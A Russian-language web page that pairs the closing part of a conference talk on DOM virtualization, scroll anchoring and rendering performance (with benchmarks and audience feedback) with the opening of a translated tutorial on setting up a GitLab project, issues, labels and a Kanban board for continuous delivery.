Далее мы берём все компоненты все вложенные компоненты и рассчитываем их суммарную ширину. Поделив одно значение на другое, мы получаем количество строк, которые точно будут в нашем списке с переносами.

В данном примере у нас будет два переноса, а следовательно после рендеринга он расползётся не менее чем три строки.

Далее, нам нужно рассчитать минимальную высоту строки. Это просто минимальное значение среди всех минимальных высот всех элементов. Так как мы не знаем места переносов, то более точно вычислить размеры строк не получится. Но нам важно, чтобы это значение было хотя бы не нулевым, чтобы виртуализация вообще работала. Умножая высоту строки на количество строк мы получаем минимально высоту всего компонента.

К сожалению, полную виртуализацию такого компонента сделать скорее невозможно, потому что не известно в каких местах произойдёт перенос. И если мы будем виртуализировать в обе стороны, то элементы будут скакать по горизонтали. Поэтому для таких компонент применим лишь ленивый рендеринг. То есть снизу добавляем и удаляем элементы, а сверху ничего не меняем.

Типы компонент: Грид и Буклет

Такие компоненты, как гриды и буклеты, - это просто композиция упомянутых ранее.

Грид - это вертикальный список из горизонтальных списков. А буклет - это горизонтальный список из вертикальных списков.

Типы компонент: Резюме

Итого, мы получаем 4 вида лейаутов, которые позволяют построить интерфейс любой сложности.

  • Атомарный

  • Стек наложения

  • Вертикальный список

  • Горизонтальный список

Но тут важно обратить внимание на то, что любой наш компонент должен быть одного из этих четырёх типов лейаута, иначе мы не сможем правильно оценивать размер. Эта информация должна быть задана в JS, а не определяться отдельно стилями.

Отслеживание положения: onScroll

Теперь перейдем к вопросу о том, когда производить обновление DOM. Самое очевидное - это реагировать на событие scroll..

document.addEventListener( 'scroll', event => {    // few times per frame}, { capture: true } )

Достоинства отслеживания onScroll

Тут есть 2 проблемы. Во первых, событие возникает слишком часто - его нет смысла обрабатывать чаще, чем 60 раз в секунду. Во вторых, размер и положение элемента относительно вьюпорта зависит от от многих вещей, а не только от позиции скроллбара. Учитывать все это в принципе можно, но очень легко что-то пропустить и не обновить DOM. В результате, пользователь может столкнуться с ситуацией, что он видит лишь половину страницы, но не имеет никакой возможности вызвать её дорендер даже вручную.

  • Слишком часто

  • Изменения DOM

  • Изменения стилей

  • Изменения состояния элементов

  • Изменения состояния браузера

Отслеживание положения: IntersectionObserver

Может показаться что IntersectionObserver решит все наши проблемы, ведь он позволяет детектировать, когда пара элементов начинает или перестаёт визуально пересекаться. Точнее, когда изменяется процент их пересечения. Если растянуть body на размер вьюпорта, то таким образом можно отслеживать процент пересечения любого элемента с видимой областью.

const observer = new IntersectionObserver(    event => {        // calls on change of visibility percentage        // doesn't call when visibility percentage doesn't changed    },    { root: document.body  })observer.observe( watched_element )

Достоинства отслеживания IntersectionObserver

К сожалению, это не работает, когда у нас элемент выходит за границы видимой области и сверху, и снизу. При скролле, процент наложения таким образом может не меняться, а значит и событие вызваться не будет. А нам отслеживать такое перемещение все равно необходимо, чтобы понимать, что теперь нужно рендерить, например, элементы не с 5 по 10, а с 10 по 15.

  • Облом, если степень наложения не меняется

Отслеживание положения: requestAnimationFrame

Самый простой и надёжный способ отслеживать габариты элементов - это опрос по requestAnimationFrame. Обработчик вызывается 60 раз в секунду и первое, что делает, - подписывается себя на следующий фрейм.

Важно, чтобы обработчик вызывался самым первым, чтобы никто не успел до него внести изменения в DOM. Тогда размеры и координаты элементов будут браться максимально быстро - из кеша. Поэтому, следующим шагом мы пробегаемся по всем интересным нам элементам и получаем их габариты.

И только в самом конце производим изменения DOM. Если же читать размеры элементов после любого изменения в DOM, то браузеру придётся тут же произвести относительно медленный пересчёт layout.

function tick() {    requestAnimationFrame( tick )    for( const element of watched_elements ) {        element.getBoundingClientRect()    }    render()   }

Достоинства отслеживания requestAnimationFrame

Недостатком такого подхода является постоянная фоновая загрузка процессора. То есть мы тратим где-то одну-две миллисекунды на каждый фрейм. Это примерно 5% загрузка процессора на моём ноуте, что не очень много для интерфейса с которым в данный момент идёт работа. К счастью requestAnimationFrame не вызывается для фоновых вкладок, так что открытие произвольного числа вкладок не приведёт к неконтролируемому росту потребления ресурсов. Кажется это - разумная плата за простое и надёжное решение, накладывающее минимум ограничений.

  • Постоянная фоновая нагрузка

  • Просто и надёжно

Обновление: Резюме

  • onScroll

  • IntersectionObserver

  • requestAnimationFrame

Скачки при прокрутке

Если мы все это аккуратно реализуем, то у нас получится полностью виртуальный рендеринг произвольный вёрстки. Страница открывается мгновенно. Если мотнуть в другой конец страницы - всё тоже показывается во мгновение ока.

https://nin-jin.github.io/my_gitlab/#anchoring=false

Но тут есть одна проблема. Если скроллить очень медленно, то легко заметить что контент немного скачет. Это происходит из-за несоответствия расчётной высоты элемента и фактической. И чем больше эта разница, тем сильнее будут скачки. Вплоть до невозможности пользоваться скроллом.

Привязка скролла: Предотвращает скачки

Есть классический пример демонстрирующий проблему..

https://codepen.io/chriscoyier/embed/oWgENp?theme-id=dark&default-tab=result

Справа у нас есть некоторый контент. После того как мы проскроллим, сверху добавляется куча дополнительных боков. Эти блоки смещают контент вниз, из-за чего он улетает из видимой области. Вроде бы логично, но нифига не удобно для пользователя.

Слева же применяется новая браузерная фича, которая привязывает скроллбар к видимой области. И после добавления блоков сверху, браузер автоматически смещает скроллбар вниз, чтобы видимый контент остался на месте.

Привязка скролла: Выбор точки привязки

Чтобы выбрать элемент для привязки скролла, браузер идёт по DOM от корня в поисках первого же элемента, попадающего в видимую область. Заходит в него и снова ищет первый попавшийся. И так далее. При этом совершенно не важно как элементы друг относительно друга расположены визуально. Важно лишь расположение их в доме и попадают ли они в видимую область. Разберём этот процесс на простом примере..

Элемент 1 не видим, поэтому пропускаем. 2 видим, так что заходим в него. Тут и 2.2, и 2.3 видимы, поэтому заходим в первый. Далее ближайший видимый 2.2.2, внутри которых видимых больше нет, так что именно этот элемент становится якорем для привязки скролла. Браузер запоминает смещение верхней границы якорного элемента относительно вьюпорта и старается его сохранить постоянным.

Привязка скролла: Подавление привязки

Тут есть один нюанс - якорным элементом может быть только такой, для которого и для всех предков которого не запрещена привязка скролла. То есть элементы с запрещённой привязкой просто перескакиваются в поиске якорного элемента. А запрещена она может быть либо явно, через свойство overflow-anchor, либо неявно, при изменении css свойств влияющих на размеры и положение элемента.

  • overflow-anchor: none

  • top, left, right, bottom

  • margin, padding

  • Any width or height-related properties

  • transform

Виртуализация: Распорки

Так как мы рендерим не весь контент, а только часть, нам нужно как-то сместить его так, чтобы он оказался в видимой области. Но мы не можем сделать это напрямую, иначе для его будет запрещена привязка скролла, которая нам нужна, чтобы не было видимых скачков. Поэтому, вместо пропущенных элементов мы вставляем распорку и задаём ей высоту. Таким образом распорка смещает контент в нужную нам позицию, а браузер не подавляет привязку скролла.

Виртуализация: Прокрутка вниз

Рассмотрим несколько сценариев работы виртуализации с привязкой скролла. Для примера, возьмём компонент вертикального списка. Изначально видны элементы 3, 4 и 5, а сверху и снизу - распорки.

Зелёная фаза - пользователь скроллит вниз. Как видно третий блок вышел из видимой области, а снизу образовалась дырка. Но пользователь это ещ1 не видит.

Синяя фаза - срабатывает обработчик requestAnimationFrame и мы обновляем DOM: удаляем третий узел и добавляем шестой. Как видно, контент уехал вверх относительно видимой области, но пользователь это ещё не видит.

Красная фаза - мы отдаём управление браузеру, а тот выбирает 4 элемент в качестве якоря и отскролливает чуть-назад. Так что пользователь видит лишь добавившийся снизу шестой элемент.

Виртуализация: Прокрутка вверх

Аналогичная ситуация и со скроллингом вверх. Разве что в качестве якоря выбирается четвёртый элемент, а не третий, так как третий изменил положение в DOM, то есть появился в данном случае.

Виртуализация: Расширение

Может так оказаться, что контент не достигает краёв видимой области с обоих концов.

Мы просто добавляем контент и браузер снова смещает скролл так, чтобы контент, что был изначально виден, остался на месте.

Виртуализация: Превышение

Возможна и обратная ситуация: контент уже полностью накрывает видимую область с запасом. Можно было бы удалить невидимые элементы, но лучше не трогать DOM лишний раз. Пусть лучше пользователь мотает скроллом туда-сюда без задержек на обновление DOM пока не появится дырка с одной из сторон - тогда имеет смысл удалить лишнее с противоположной стороны. И как следствие DOM не будет неограниченно разрастаться.

Виртуализация: Скачок кенгуру

Нельзя не упомянуть особый случай, когда пользователь хватает за скроллбар тащит в другой конец документа. Если никак дополнительно не обрабатывать этот кейс, то придётся отрендерить много элементов, чтобы накрыть видимую область. При этом больше их часть будет невидима, а значит много работы проделана зря. А лишняя работа - это лишние задержки, порой недопустимо большие.

Чтобы такого не происходило нужно просекать, что все элементы вышли из видимой области, удалять их все полностью и начинать рендеринг с нуля, отталкиваясь от текущего смещения скролла. Нам нужно пропустить столько элементов, чтобы размер распорки оказался чуть меньше расстояния до верхней границы видимой области. Таким образом первый элемент гарантированно накроет верхнюю её границу. И остаётся лишь дорендерить столько элементов, чтобы накрыть ещё и нижнюю границу.

Привязка скролла в действии

Если всю эту логику мы реализуем аккуратно, тогда не будет никаких скачков, даже несмотря на то, что какие-то элементы окажутся не той высоты, что мы рассчитывали.

https://nin-jin.github.io/my_gitlab/

Привязка скролла: Поддержка

Однако, есть проблема с интернет эксплорером нашего времени, который всё ещё не поддерживает привязку с скролла.

Браузер

overflow-anchor

Chrome

Firefox

Safari

Привязка скролла: Запасный выход

Для отсталых браузеров необходимо детектировать поддержку привязки скролла и, если её нет, то фолбечиться до ленивого рендера, то есть менять DOM лишь ниже видимой области, но не выше.

const anchoring_support = CSS.supports( 'overflow-anchor:auto' )if( anchoring_support ) {    virtual render} else {    lazy render}

Проблема: Долгая раскладка

Если в следующем примере выключить пару CSS оптимизаций, то можно заметить, что скроллинг как-то подлагивает. Далее мы разберём суть этих оптимизаций.

https://nin-jin.github.io/habrcomment/#article=423889

Минимизация расчётов лейаута

Так как мы всё время меняем DOM внутри скроллящейся области, то это приводит к тому, что браузеру приходится постоянно пересчитывать лейаут, стили и дерево слоёв всего документа. Поэтому для скроллящихся областей имеет смысл задать следующее CSS свойство..

[mol_scroll] {    contain: content;}

Оно говорит браузеру, что содержимое скроллящейся области не влияет на раскладку и стили вне её. Это позволяет существенно уменьшить стоимость браузерных пересчётов.

Прокрутка в отдельном потоке

Другая проблема заключается в том, что рендеринг скроллящейся области может происходить синхронно, в основном потоке, где работают наши скрипты. А это значит, что пока мы не закончим все наши вычисления, браузер не может плавно анимировать прокрутку. Чтобы это побороть, нужно заставить браузер вынести содержимое скроллящейся области в отдельный слой. Сделать это проще всего следующим хаком..

[mol_scroll] > * {    transform: translateZ(0);}

На глаз отличить синхронный скролл от асинхронного не сложно: синхронный подлагивает, но никогда не показывает дырок, а вот асинхронный плавный, но может показывать дырки, когда мы не успеваем дорендеривать контент.

Плавная прокрутка (или нет)

Применив все оптимизации мы получаем плавную прокрутку..

https://nin-jin.github.io/habrcomment/#article=423889

..пока используем палец или автопрокрутку. Но стоит нам взяться за колёсико или тачпад, то оказывается, что привязка скролла порой не работает. Оказывается, что если открыть приложение во фрейме другого приложения, которое расположено на другом домене, то привязка скролла в Хроме перестаёт работать. Если для вас этот кейс имеет значение, то стоит его детектировать и фолбечиться до ленивого рендера.

Логика поиска

Скорость и отзывчивость - это, конечно, хорошо, но что насчёт поиска по странице? Он ведь ищет лишь по тому тексту, что есть в DOM, а мы тут рендерим лишь малую его часть. Делать нечего - надо перехватывать Ctrl+F, рисовать свой интерфейс поиска и искать самостоятельно. Для этого компоненты должны реализовывать метод, которому скармливаешь предикат, а он эмитит найденные пути от корня до компонент, соответствующих предикату.

*find_path(    check: ( view : View )=> boolean,    path = [] as View[],): Generator&lt; View[] > {    path = [ ... path, this ]    if( check( view ) ) return yield path    for( const item of this.kids ) {        yield* item.find_path( check, path )    }}
  • Рекурсивно спускаемся по компонентам.

  • Отбираем соответствующие запросу.

  • Рисуем интерфейс перехода между найденным.

Логика прокрутки к компоненту

К сожалению, мало просто найти компоненты, нужен ещё и механизм прокрутки страницы к найденным компонентам. Для этого компонентам нужен ещё один метод, который находит путь к компоненту через дерево компонент, форсирует рендер компонент по этому пути, чтобы они оказались в DOM, после чего уже вызывает браузерный API прокрутки.

scroll_to_view( view: View ) {    const path = this.find_path( v => v === view ).next().value    this.force_render( new Set( path ) )    view.dom_node.scrollIntoView()}

Логика форсирование рендеринга видимого

Форсирование рендера для каждого типа компонент идёт по своему. Например, для вертикального списка оно выглядит так: ищем элемент списка, который должен быть отрендерен, после чего указываем, что отрендериться должен только он.

force_render( path : Set< View > ): number {    const items = this.rows    const index = items.findIndex( item => path.has( item ) )    if( index >= 0 ) {        this.visible_range = [ index, index + 1 ]        items[ index ].force_render( path )    }    return index}

Ничего страшного, что отрендерится лишь один элемент, ведь тут же отработает логика виртуализации и видимая область будет накрыта дополнительными элементами.

Работающий поиск

Если всё это аккуратно реализовать, то у нас будет поиск, отображение числа найденного и возможность перемотки к каждому найденному вхождению.

https://nin-jin.github.io/habrcomment/#article=423889/search=vin

Подсветка найденного реализуется опять же на уровне компонент. Я для этого просто использую компонент $mol_dimmer, которому скармливаешь строку текста, а он сам уже заботится о поддержке поиска и подсветки найденного.

Доступность

Но рано ещё выдыхать, надо подумать и о пользователях скрин ридеров. Дело в том, что читалки читают текст последовательно по строчкам. И читая очередную строку они фокусируют браузер именно на ней. Проблема может оказаться на последней видимой строке. Если следующая строка не видима? и мы её не отрендерим, то читалка просто скажет, что страница закончилась и остановится. Но если мы отрендерим чуть больше, то читалка сфокусирует браузер на последней отрендеренной строке, что приведёт к скроллингу так, чтобы она стала видимой, но тут отработает виртуализация и снизу отрендерится ещё одна строка. Таким образом даже слепые смогут потреблять ваш контент виртуализированно без особых проблем.

https://nin-jin.github.io/my_gitlab/

Можете сами попробовать, просто включив NVDA и закрыв глаза.

Решаемые проблемы виртуализации

Подведём итог, какие проблемы виртуализации нам удалось так или иначе порешать..

  • Оценка будущих размеров.

  • Скачки контента.

  • Тормоза при скроллинге.

  • Прокрутка к элементу.

  • Поиск по странице.

  • Доступность.

Фундаментальные особенности

Тем не менее у нас остался и ряд фундаментальных особенностей, с которыми придётся смириться..

  • Скачки скроллбара при неточной оценке размеров.

  • Scroll Anchoring может не работать в некоторых контекстах.

  • Копирование выделенного текста не работает.

Бенчмарки: Скорость открытия и Отзывчивость

Ладно, давайте погоняем бенчмарки. Понятное дело, что на огромных страницах виртуализация победит. Поэтому возьмём, что-то более типичное - небольшую мобильную страницу Хабра со 170 комментариями и откроем её на не самом слабом ноуте и жамкнем "показать 170". Таймлайн сверху показывает, что на формирование DOM через VueJS требуется три с половиной секунды, а потом ещё пол секунды требуется браузеру, чтобы всё это показать.

Снизу же вы видите таймлайн открытия реализации этой страницы на $mol с виртуализацией. Как видно, треть секунду ушла на отображения статьи, ещё треть потребовалось браузеру, чтобы её показать, потом пришли данные комментариев и ещё за треть секунды они были обработаны: сформировано дерево компонент, вычислены минимальные размеры и тд. Но благодаря виртуализации DOM почти не поменялся, поэтому браузеру ничего не стоило это обработать.

Итого: ускорение открытия не менее чем в 4 раза даже на сравнительно небольшом объёме данных.

Бенчмарки: Отзывчивость

Можем погонять и какие-нибудь синтетические бенчмарки. Например, dbmon.

https://mol.js.org/perf/dbmon/-/

Пока все реализации топчутся у меня вкруг 20 фпс, наивная реализация на $mol со встроенной виртуализацией показывает стабильные 60.

Бенчмарки: Потребление памяти

Нельзя забывать и про потребление оперативной памяти. Та реализация Хабра на VueJS на 170 комментариях отжирает 40 мегабайт хипа JS. Но если посмотреть понять вкладки, то это будет уже в 3 раза больше, так как самому браузеру нужно весь этот дом показывать. Если же открыть реализацию на $mol, где выводится статья, да ещё и две с половиной тысячи комментариев к ней, то мы получаем те же 40 мегабайт JS хипа. Но вкладка при этом кушает в два раза меньше, ибо браузеру показывать всего ничего - меньше тысячи DOM элементов.

Вариант

Память JS

Память вкладки

VueJS: 170 комментариев

40 MB

150 MB

$mol: статья + 2500 комментариев

40 MB

90 MB

И суть тут не в том, что $mol такой легковесный и быстрый, а в том, что в нём применена архитектурная оптимизация, дающая профита куда больше, чем обычная локальная оптимизация в бутылочном горлышке. Тут мы не ускорили формирование DOM, а сделали так, что скорость изменения DOM нас вообще перестала волновать. Ведь виртуализация позволяет рендерить на порядок больше данных, потребляя при этом в несколько раз меньше ресурсов.

Бенчмарки: Гулять так гулять!

Ну и, наконец, давайте сделаем немыслимое - загрузим разом 25 приложений..

https://showcase.hyoo.ru/

Некоторые из них отображают весьма не маленькие объёмы данных. Начиная ото всех существующих material design иконок. Заканчивая всеми продающимися сейчас типами лампочек. На моём ноуте всё это открывается за 6 секунд. Напомню, что одна только гитлабовская страница из начала моего выступления открывалась в 3 раза дольше. Почувствуйте, как говорится, разницу между тем, что веб представляет из себя сейчас, и каким он мог бы быть, если бы мы думали не только о том, как удовлетворить свои привычки, но и о том, какие привычки полезны.

ООП против ФП

Короче, виртуализация - классная тема. И давайте посмотрим какие у нас есть перспективы, что она появится в ныне популярных инструментах. Но сперва определимся с вопросом чем объект отличается от функции..

  • Объект: одно состояние - много действий.

  • Функция: много состояний - одно действие.

Условный Angular использует концепцию объектов: каждый компонент - объект умеющий много разных действий. А вот в React популярна тема функциональных компонент - тут компонент имеет лишь одно действие - отрендерить своё содержимое в виртуальное дерево.

Ортогональные действия

Однако, при виртуализации, нам необходимо, чтобы каждый компонент умел делать разные дела..

  • Узнать минимальные размеры без полного рендера.

  • Частично отрендерить содержимое.

  • Проверить соответствие поисковому запросу.

То есть объектная парадигма подходит для этого гораздо лучше, чем функциональная.

Композиция против вёрстки

Также стоит упомянуть и различные подходы к композиции компонент. Первый вариант - наиболее естественный - это прямая сборка интерфейса из компонент. Тут рендерер может спросить мол "колонка, вот какие у тебя минимальные размеры?" и колонка сможет их правильно вычислить.

Column    Row        Search        Icon    Scroll        Column            Task            Task            Task

Второй подход - более популярный - это оживление готовой HTML вёрстки. Тут фактический лейаут зависит от стилей, что применены к html элементам. Как-то проанализировать это, наверно, можно, но это весьма сложно, крайне медленно и не очень надёжно. А в вебе и так хватает точек отказа.

<main class="panel">    <div class="header">        <input class="search">        <img src="..." class="icon">    </div>    <div class="scroll">        <div class="card">        <div class="card">        <div class="card">    </div></main>

Перспективы во фреймворках

Анализируя популярные инструменты, можно заметить, что React, например идёт вообще куда-то совсем не в ту сторону. Так что к нему прикрутить виртуализацию если и можно, то крайне сложно. И скорее всего не станут.

Чуть ближе к виртуализации React Native, где нет никакого сырого HTML и всё строится из компонент. Но подражание html тут как собаке пятая нога.

К Angular, Vue, Svelte прикрутить виртуализацию скорее всего будет проще, ибо там каждый компонент - это некоторый объект. Правда ориентация на вёрстку, вместо компонент, существенно осложняет внедрение виртуализации на уровне фреймворка, а не прикладного кода.

В $mol же виртуализация работает уже давно, так что он опять всех задоминировал.

Инструмент

ООП

КОП

React

React Native

Vue

Angular

Svelte

$mol

Выбери виртуализацию

Но я не предлагаю вам использовать $mol. Потому что, ну знаете, "использовать" - это какое-то потребительское отношение. Я вам предлагаю присоединиться к его разработке и тем самым получить максимальный профит.

Ну либо вы можете разработать свой какой-то инструмент, основанный на виртуализации. В любом случае, какой бы вариант вы ни выбрали, обращайтесь к нам, мы поможем чем сможем.

Ссылочки

Обратная связь

Превосходно: 34%

  • Вроде все знакомо, но нашёл для себя пару интересных нюансов.

  • Узнал кое что новое.

  • Все ок.

  • По моему мощнейший доклад, очень круто и интересно. Один момент. У Дмитрия сквозь доклад использовалась шутка: недостатки преподносились как преимущества (в духе контент прыгает - пользователь тренируется концентрировать внимание). Она удачная и смешная (правда так считаю, не из вежливости это пишу), но ее было слишком много. Например, был слайд, где было сразу много "преимуществ", и Дмитрий проговаривал по шутке на каждый пункт. Ломало темп. Сначала весело, а потом уже как-то хочется чтобы доклад дальше двигался. Но это минорное замечание, доклад ?

  • Изначально я слышал про $mol из комментариев на Хабре, многие из которых были неуместны / подавались в странной манере. В докладе я увидел, что автор - "видел некоторое дерьмо" (простите за мем) - понимает причины - предлагает здравые рассуждения по тому, как это чинить. Совершенно точно посмотрю на эту библиотеку, чтобы увидеть воплощение принципов из доклада на практике. Но даже если не буду использовать эту библиотеку в проде, разочарован не буду - настолько ценной и качественной я считаю информацию в этом докладе.

  • Подача, глубина доклада, практическая применимость, простота восприятия, новизна.

  • На удивление было мало $mol и много полезных вещей)

Хорошо: 42%

  • Интересный доклад, но к сожалению не все было понятно, начиналось вроде все просто, но потом быстро вышло за моё понимание).

  • Карловский как всегда жжёт.

  • Очень круто и глубоко, но не очень понравилась подача. Хочется побольше "огонька".

Нормально: 18%

  • Слишком узкая специализация

  • Что смотрел помню, а про что нет.

  • Доклад на мой взгляд получился последовательным, но не очень сбалансированным с точки зрения теории и практики. Тема доклада очень общая, а по итогу практическую пользу можно получить судя по всему, если использовать конкретный фреймворк. Из плюсов - понравился разбор проблемы на примере GitLab.

Плохо: 6%

  • Интересный материал, интересная тема, большой потенциал технологии. Не понравился спикер и его отношения к другим технологиям, людям.

  • Оценка поставлена из-за несоответствия моих ожиданий и реальности =) Ожидания: я смогу применить полученные знания на своём проекте. Реальность: демонстрация своего фреймворка. Для проектов на любом другом фреймворке полученная информация неприменима. Если бы это было понятно из названия и описания, я бы не тратила время и пошла на другой доклад.

Подробнее..

Перевод Введение в непрерывную поставку (CD) при помощи GitLab

31.03.2021 06:22:42 | Автор: admin

Введение в непрерывную поставку (CD) при помощи GitLab


Введение в непрерывную поставку (CD) при помощи GitLab


Данный туториал позволит вам быстро прочувствовать как происходит командная работа с использованием GitLab. В целом, начать практиковать DevOps/CD с GitLab проще чем с использованием других продуктов потому что GitLab это решение "всё в одном".


В процессе этого туториала мы


  • настроим базовое управления проектом на GitLab.com;
  • создадим конвейер непрерывной поставки
  • проведём несколько циклов работы с GitLab Flow
  • изучим метрики CI/CD в GitLab

Желательны но необязательны базовые знания


  • Git;
  • Node.js;
  • React;
  • Docker;

Время от времени я буду просить вас что-то сделать. Такие моменты помечены значком "!". Пожалуйста выполняйте действия по мере чтения текста чтобы получить от данного туториала наибольшую пользу.


В оригинале места где требовалось что-то сделать были помечены эмодзи "молоток и гаечный ключ". Так как редактор habr'а вырезает эмодзи, я заменил эти эмодзи на "!".

Трудно переводить на русский вещи, которые даже русскоязычные программисты между собой называют по-английски. Я постарался литературно переводить термины для которых есть общепринятые переводы и не переводить остальные. Например, мы будем использовать словечки вроде "чекбокс" и "коммитить", а названия разных штук в GitLab останутся на английском, как есть.

Введение и знакомство с проектом


В качестве "подопытного кролика" мы будем использовать чуть модифицированный шаблонный проект, созданный утилитой create-react-app.


Почему React? Во-первых, это самая распространённая UI-библиотека на JavaScript, и многие читатели знакомы с ней. Во-вторых create-react-app даёт нам осмысленные стадии компиляции и тестирования которые уже реализованы за нас.

! Теперь давайте клонируем репозиторий с кодом с которым мы будем работать.


git clone https://github.com/ntaranov/gitlab-cd-react

! Перейдите в каталог локального репозитория


cd gitlab-cd-react

Должна отобразиться стандартная стартовая страница create-react-app.


Вы можете вместо этого этапа просто создать новое приложение при помощи create-react-app, но версия в репозитории содержит некоторые правки, и версии пакетов в коде в репозитории я тестировал.

! Установите npm пакеты локально, выполнив


npm install

Используйте npm ci если при выполнении npm install произойдёт ошибка

! Попробуйте "собрать" проект


npm run build

Обратите внимание, что в папке ./build появились соответствующие файлы, включая минифицированный JavaScript и CSS.


! Затем запустите тесты


npm run test -- --coverage --watchAll=false --forceExit

! Осталось осуществить "развёртывание", но чтобы не засорять туториал инструкциями по установке веб-сервера, давайте просто запустим отладочный веб-сервер чтобы увидеть как выглядит наше веб приложение выглядит в браузере.


npm start

Если подумать, то осталось заменить последнюю инструкцию на копирование статических файлов из папки ./build на веб-сервер и развёртывание можно считать завершённым. В принципе, это вполне хватит для самостоятельной работы, однако для работы в команде в режиме непрерывной поставки может также захотеться иметь как минимум следующее:


  • централизованный репозиторий с
    • управлением полномочиями членов команды;
    • code review;
  • багтрекер чтобы
    • планировать работу и
    • отслеживать прогресс;
  • среду сборки с
    • автоматическим запуском конвейера непрерывной поставки в нужные моменты;
    • визуализацией статуса сборки;
    • хранением артефактов;
    • автоматическим оповещением о ключевых событиях;
    • автоматическим развёртыванием в разные среды;
  • сбор метрик непрерывной доставки.

Всё это, а также многое другое, поддерживается GitLab. Платная версия предлагает больше возможностей, но для наших целей нам хватит и бесплатной версии доступной на GitLab.com.


GitLab выделяется на общем фоне отсутствием ограничений на использование собственных job runners, однако некоторые довольно базовые "управленческие" и "корпоративные" фичи GitLab вроде обязательного утверждения merge request'ов входят в платные версии. Проектам с открытым кодом все фичи GitLab доступны бесплатно.

Базовая настройка управления проектом на GitLab.com


В этой части мы создадим сам проект в GitLab и задачи над которыми будем работать в дальнейшем, а также настроим Kanban-доску для визуализации состояния проекта.


Создание проекта в GitLab


Мы будем использовать GitLab.com в качестве инсталляции GitLab чтобы избежать хлопот по установке и настройке локальной версии.


! Если у вас ещё нет учётной записи на GitLab.com, зайдите на https://gitlab.com и заведите её.


GitLab позволяет нам создать проект просто выполнив push в удалённый репозиторий.


! Воспользуемся для этого следующей командой:


git push https://gitlab.com/<user name>/gitlab-cd-react

<user name> тут ваше имя пользователя на GitLab.com.


Эта команда создаст приватный проект с именем gitlab-cd-react внутри вашей учётной записи на GitLab.com.


! Пожалуйста перейдите по адресу https://gitlab.com/<user name>/gitlab-cd-react.


Далее мы настроим канбан-доску, а заодно создадим несколько задач чтобы было вокруг чего строить дальнейшую работу и о чём собирать статистику.


Создание задач и настройка доски


Давайте начнём с создания задачи.


! Кликните Issues в левом меню, затем нажмите одну из кнопок New Issue в основной области. Откроется форма создания задачи. Укажите в качестве заголовка "Создать задания для туториала".
В описании укажите следующий текст


Создайте задачи с заголовками, перечисленными в списке ниже.- [ ] Создать метки- [ ] Настроить доску- [ ] Создать конвейер непрерывной поставки- [ ] Провести несколько итераций GitLab Flow- [ ] Изучить метрики

Да, именно эти вещи мы и будем делать в дальнейшем. Оставьте остальные значения по умолчанию. Нажмите кнопку Submit issue.


Обратите внимание, что список с пробелами в квадратных скобках вначале элементов был распознан как чеклист, а отдельные его элементы как задачи. GitLab, как и многие другие платформы, использует Markdown в качестве языка разметки.


! Назначьте задачу Создать задания для туториала на себя. Для этого нажмите ссылку Edit в панели с надписью 0 Assignees справа на странице редактирования задачи.


Поздравляю, теперь вы исполнитель. На самом деле на этом этапе задача может быть назначена любому члену команды но т.к. по сути ничего не изменится, мы не будем плодить пользователей.


! Давайте теперь на самом деле создадим все задачи, перечисленные в описании нашей первой задачи. Укажите только заголовки, остальные поля оставьте по умолчанию. Вы можете "ставить галочки" в описании задачи Создать задания для туториала как по мере создания задач, так и все сразу когда закончите.


Существуют разные способы создавать задачи, при создании задач по списку найдите и используйте хотя бы 3 разных способа. В итоге у вас должно получиться 6 задач.


! Закройте задачу Создать задания для туториала. Для этого можете в Issues -> List или Issues -> Board кликнуть на заголовок задачи и внутри формы редактирования задачи нажать на кнопку Close issue.


Наш процесс работы


Под процессом работы(workflow) обычно подразумевается порядок этапов, которые задача проходит для того чтобы считаться выполненной. В Continuuos Delivery, Kanban и DevOps задача движется через некую последовательности состояний либо вперёд, либо может быть возвращена на один из предыдущих этапов.


Это подразумевает линеаризованные value streams. Про value streams можно почитать тут. Превращение порой затейливой диаграммы переходов в последовательность состояний является иногда очень сложной управленческой задачей, решение которой выходит за границы этой статьи.

Мы будем использовать простую последовательность состояний


  • Open
  • Dev
  • Dev: done
  • QA
  • Closed

Вначале задача оказывается в состоянии Open. Затем она затягивается(pull) в работу разработчикам в стадию Dev. После того, как работа завершена, происходит передача задачи в стадию Dev: done.


Зачем нам нужна эта дополнительная стадия? Дело в том что в Lean, на котором основаны все методологии типа CD, Kanban и DevOps, следующий этап(work center) затягивает задачи когда он готов в отличие от методологий где задачи передаются в следующий этап предыдущим. Это позволяет отслеживать задачи которые находятся в стадии ожидания, а накопление задач в стадии ожидания позволяет нам понять, где в нашем "конвейере" "бутылочное горлышко".

Итак, затем задача затягивается в этап QA где работают специалисты по качеству и автотесты, а "выпускники" QA считаются настолько хорошими что развёртываются непосредственно на продуктив.


"Ну так же не бывает, это же чих-пых и в продакшн, должны же быть другие среды типа Staging в процессе!" скажете вы. Я совершенно согласен, но тут мы используем максимально простой в реализации и для понимания конвейер чтобы меньше отвлекаться от GitLab и не закопаться где-нибудь в дебрях Kubernetes.

Настройка меток


Для организации задач GitLab использует метки(labels). Они как теги и позволяют искать, фильтровать и отображать задачи в разных местах в зависимости от наличия той или иной метки. Давайте заведём сами метки


! Откройте задачу Создать метки и назначьте его на себя. Выберите Issues -> Labels в левом меню, затем нажмите New label в правой части основной области. Заведите таким образом следующие 3 метки, выберите разные цвета на свой вкус.


  • Dev
  • Dev: done
  • QA

Названия меток тут полностью произвольные и никакого особого смысла с точки зрения GitLab в них нет.


! Когда закончите, назначьте задачу Создать метки статус Closed.


Теперь всё готово для настройки Kanban-доски.


Настройка доски


В GitLab есть Kanban-доски. Они позволяют отображать разные задачи в соответствии с их метками. Несмотря на название они могут быть использованы не только для реализации Kanban, но и Scrum а также других методологий. У нас же уже создана задача для этого.


! Назначьте эту задачу на себя.


! Выберите Issues -> Boards в левом меню. Вы увидите доску по умолчанию. В ней уже будут колонки-списки Open и Closed. Нажмите Add list в правой верхней части основной области. Создайте по одному списку для каждой из созданных ранее меток


  • Dev
  • Dev: done
  • QA

Если вы создали их в другом порядке, вы можете изменить порядок, перетаскивая списки "за заголовки".


! На странице Issues -> Boards перетащите задачу Настроить доску мышкой из столбца Open в столбец Dev. Выделите задачу кликнув на часть карточки, не занятую текстом.


Таким образом мы указываем что начали работать над этой задаче. Обратите внимание что у задачи появилась новая метка Dev.


! Так как всю работу мы уже сделали, переведите задачу в столбец Dev: done.


Мы приближаемся к стадии QA. Постарайтесь внутренне ощутить себя тестировщиком, подумайте какие разработчики неблагонадёжные люди, и, опционально, разберите при помощи отвёртки небольшой бытовой прибор.


